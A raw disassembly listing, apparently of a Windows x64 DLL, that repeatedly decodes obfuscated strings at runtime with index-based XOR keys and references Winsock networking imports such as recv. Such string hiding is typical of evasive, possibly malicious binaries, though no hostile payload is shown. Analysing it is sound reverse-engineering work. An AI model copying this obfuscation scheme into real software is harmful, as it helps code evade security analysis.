mov qword [rsp + 0x50], rax
lea rdx, [0x1802efddd]
lea rcx, [rbp + 0x978]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.T_WNNbRV._B]
movsd qword [rbp + 0x4e8], xmm0
mov ecx, dword [0x1801b38f0]
mov dword [rbp + 0x4f0], ecx
cmp byte [0x1801b38f3], 0
je 0x1800dcfb9
mov r8d, edi
cmp r14d, 2
jl 0x1800dcf83
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.T_WNNbRV._B]
xorps xmm1, xmm0
movd dword [rbp + 0x4e8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x4ec]
xorps xmm2, xmm1
movd dword [rbp + 0x4ec], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x4f0], xmm2
jmp 0x1800dcfb9
lea r9, [rbp + 0x4e8]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800dcf90
lea rdx, [rbp + 0x4e8]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0xe10]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x988]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efddf]
lea rcx, [rbp + 0x988]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.SQJNZR_____C]
movsd qword [rbp + 0x578], xmm0
mov edx, dword [0x1801b3900]
mov dword [rbp + 0x580], edx
movzx ecx, byte [0x1801b3904]
mov byte [rbp + 0x584], cl
mov r8d, edi
cmp r14d, 2
jl 0x1800dd1a0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.SQJNZR_____C]
xorps xmm1, xmm0
movd dword [rbp + 0x578], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x57c]
xorps xmm2, xmm1
movd dword [rbp + 0x57c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x580], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x578]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800dd1b0
lea rdx, [rbp + 0x578]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0xdf0]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x998]
mov qword [rsp + 0x50], rax
lea rdx, [0x1801e8e81]
lea rcx, [rbp + 0x998]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.DPVMdXTMK___D]
movsd qword [rbp + 0x638], xmm0
mov edx, dword [0x1801b3910]
mov dword [rbp + 0x640], edx
movzx ecx, word [0x1801b3914]
mov word [rbp + 0x644], cx
cmp byte [0x1801b3915], 0
je 0x1800dd420
mov r8d, edi
cmp r14d, 2
jl 0x1800dd3d5
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.DPVMdXTMK___D]
xorps xmm1, xmm0
movd dword [rbp + 0x638], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x63c]
xorps xmm2, xmm1
movd dword [rbp + 0x63c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x640], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x638]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800dd3f0
lea rdx, [rbp + 0x638]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0xdd0]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x9a8]
mov qword [rsp + 0x50], rax
lea rdx, [0x180250028]
lea rcx, [rbp + 0x9a8]
call fcn.1800a05b0
mov rbx, rax
movsd xmm0, qword [str._QW_dHUW_07E]
movsd qword [rbp + 0x738], xmm0
mov edx, dword [0x1801b3920]
mov dword [rbp + 0x740], edx
movzx ecx, word [0x1801b3924]
mov word [rbp + 0x744], cx
movzx eax, byte [0x1801b3926]
mov byte [rbp + 0x746], al
mov r8d, edi
cmp r14d, 2
jl 0x1800dd615
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str._QW_dHUW_07E]
xorps xmm1, xmm0
movd dword [rbp + 0x738], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x73c]
xorps xmm2, xmm1
movd dword [rbp + 0x73c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x740], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x738]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800dd630
xorps xmm0, xmm0
movups xmmword [rbp + 0xd70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd80], xmm1
lea rax, [rbp + 0x738]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800dd680
lea rdx, [rbp + 0x738]
lea rcx, [rbp + 0xd70]
call fcn.180048670
nop
lea rdx, [rbp + 0xd70]
lea rcx, [rbp + 0xdb0]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0xd70]
call fcn.180049240
lea rax, [rbp + 0x9b8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1801e8e8c]
lea rcx, [rbp + 0x9b8]
call fcn.1800a05b0
mov rbx, rax
movsd xmm0, qword [str.C_ANdOTDZ_]
movsd qword [rbp + 0x458], xmm0
movzx ecx, word [0x1801b3930]
mov word [rbp + 0x460], cx
cmp byte [0x1801b3931], 0
je 0x1800dd768
mov byte [rbp + 0x458], reloc.WS2_32.dll_WSACleanup
xor byte [rbp + 0x459], 0x38
xor byte [rbp + 0x45a], 0x39
xor byte [rbp + 0x45b], 0x3a
xor byte [rbp + 0x45c], 0x3b
xor byte [rbp + 0x45d], 0x3c
xor byte [rbp + 0x45e], 0x3d
xor byte [rbp + 0x45f], 0x3e
xor byte [rbp + 0x460], 0x3f
xor byte [rbp + 0x461], 0x40
lea rdx, [rbp + 0x458]
lea rcx, [rbp + 0x16f8]
call fcn.18005b1b0
nop
lea rdx, [rbp + 0x16f8]
lea rcx, [rbp + 0xd50]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x16f8]
call fcn.180049240
lea rax, [rbp + 0x9c8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efdeb]
lea rcx, [rbp + 0x9c8]
call fcn.1800a0600
mov rbx, rax
movsd xmm0, qword [str.RVXXWYb_V__7D]
movsd qword [rbp + 0x608], xmm0
mov edx, dword [0x1801b3940]
mov dword [rbp + 0x610], edx
movzx ecx, word [0x1801b3944]
mov word [rbp + 0x614], cx
cmp byte [0x1801b3945], 0
je 0x1800dd9a0
mov r8d, edi
cmp r14d, 2
jl 0x1800dd95d
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.RVXXWYb_V__7D]
xorps xmm1, xmm0
movd dword [rbp + 0x608], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x60c]
xorps xmm2, xmm1
movd dword [rbp + 0x60c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, edx
xorps xmm2, xmm1
movd dword [rbp + 0x610], xmm2
mov r8d, recv
mov eax, r8d
lea r9, [rbp + 0x608]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800dd970
xorps xmm0, xmm0
movups xmmword [rbp + 0xcf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd00], xmm1
lea rax, [rbp + 0x608]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800dd9c0
lea rdx, [rbp + 0x608]
lea rcx, [rbp + 0xcf0]
call fcn.180048670
nop
lea rdx, [rbp + 0xcf0]
lea rcx, [rbp + 0xe50]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0xcf0]
call fcn.180049240
lea rax, [rbp + 0x9d8]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efdec]
lea rcx, [rbp + 0x9d8]
call fcn.1800a0600
mov rbx, rax
movups xmm2, xmmword [str.VQTXTHbMW_6]
movups xmmword [rbp + 0x9e8], xmm2
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x1800ddc49
mov r8d, edi
cmp r14d, 2
jl 0x1800ddc15
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x9e8], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9ec]
xorps xmm2, xmm1
movd dword [rbp + 0x9ec], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9f0]
xorps xmm2, xmm1
movd dword [rbp + 0x9f0], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x9f4]
xorps xmm2, xmm1
movd dword [rbp + 0x9f4], xmm2
jmp 0x1800ddc49
lea r9, [rbp + 0x9e8]
nop dword [rax]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x1800ddc20
xorps xmm0, xmm0
movups xmmword [rbp + 0xbf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc00], xmm1
lea rax, [rbp + 0x9e8]
mov r8, r15
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800ddc70
lea rdx, [rbp + 0x9e8]
lea rcx, [rbp + 0xbf0]
call fcn.180048670
nop
lea rdx, [rbp + 0xbf0]
lea rcx, [rbp + 0xcb0]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0xbf0]
call fcn.180049240
lea rax, [rbp + 0x778]
mov qword [rsp + 0x50], rax
lea rdx, [0x18025002c]
lea rcx, [rbp + 0x778]
call fcn.1800a0560
mov rbx, rax
movsd xmm0, qword [0x1801b3958]
movsd qword [rbp + 0x488], xmm0
movzx edx, word [0x1801b3960]
mov word [rbp + 0x490], dx
movzx ecx, byte [0x1801b3962]
mov byte [rbp + 0x488], 0x61
xor byte [rbp + 0x489], 0x38
xor byte [rbp + 0x48a], 0x39
xor byte [rbp + 0x48b], 0x3a
xor byte [rbp + 0x48c], 0x3b
xor byte [rbp + 0x48d], 0x3c
xor byte [rbp + 0x48e], 0x3d
xor byte [rbp + 0x48f], 0x3e
xor dl, 0x3f
mov byte [rbp + 0x490], dl
xor byte [rbp + 0x491], 0x40
xor cl, 0x41
mov byte [rbp + 0x492], cl
xorps xmm0, xmm0
movups xmmword [rbp + 0x12b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x12c0], xmm1
lea rax, [rbp + 0x488]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1800ddd80
lea rdx, [rbp + 0x488]
lea rcx, [rbp + 0x12b0]
call fcn.180048670
nop
lea rdx, [rbp + 0x12b0]
lea rcx, [rbp + 0x1290]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x12b0]
call fcn.180049240
lea rax, [rbp + 0x788]
mov qword [rsp + 0x50], rax
lea rdx, [0x180250558]
lea rcx, [rbp + 0x788]
call fcn.1800a05b0
mov rbx, rax
movups xmm2, xmmword [str.VQTXTHbMR_.6__G]
movups xmmword [rbp + 0xa10], xmm2
movzx ecx, byte [0x1801b3978]
mov byte [rbp + 0xa20], cl
mov r8d, edi
cmp r14d, 2
jl 0x1800ddfd1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa10], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa14]
xorps xmm2, xmm1
movd dword [rbp + 0xa14], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa18]
xorps xmm2, xmm1
movd dword [rbp + 0xa18], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa1c]
xorps xmm2, xmm1
movd dword [rbp + 0xa1c], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xa10]
add r9, rax
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1800ddfe0
xorps xmm0, xmm0
movups xmmword [rbp + 0x12f0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1300], xmm1
lea rax, [rbp + 0xa10]
mov r8, r15
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1800de030
lea rdx, [rbp + 0xa10]
lea rcx, [rbp + 0x12f0]
call fcn.180048670
nop
lea rdx, [rbp + 0x12f0]
lea rcx, [rbp + 0x12d0]
call fcn.180083840
mov rdx, rax
lea rcx, [rbp + 0x1760]
call fcn.18007e3e0
nop
mov rdx, rbx
mov rcx, rax
call fcn.18007e370
nop
lea rcx, [rbp + 0x12f0]
call fcn.180049240
lea rax, [rbp + 0x798]
mov qword [rsp + 0x50], rax
lea rdx, [0x1802efded]
lea rcx, [rbp + 0x798]
call fcn.1800a0600
mov rbx, rax
movups xmm2, xmmword [str.VQTXTHbHV3____]
movups xmmword [rbp + 0xb48], xmm2
mov edx, dword [0x1801b3990]
mov dword [rbp + 0xb58], edx
movzx ecx, byte [0x1801b3994]
mov byte [rbp + 0xb5c], cl
mov r8d, edi
cmp r14d, 2
jl 0x1800de2f2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xb48], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm6
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb4c]
xorps xmm2, xmm1
movd dword [rbp + 0xb4c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm6
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb50]
xorps xmm2, xmm1
movd dword [rbp + 0xb50], xmm2
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
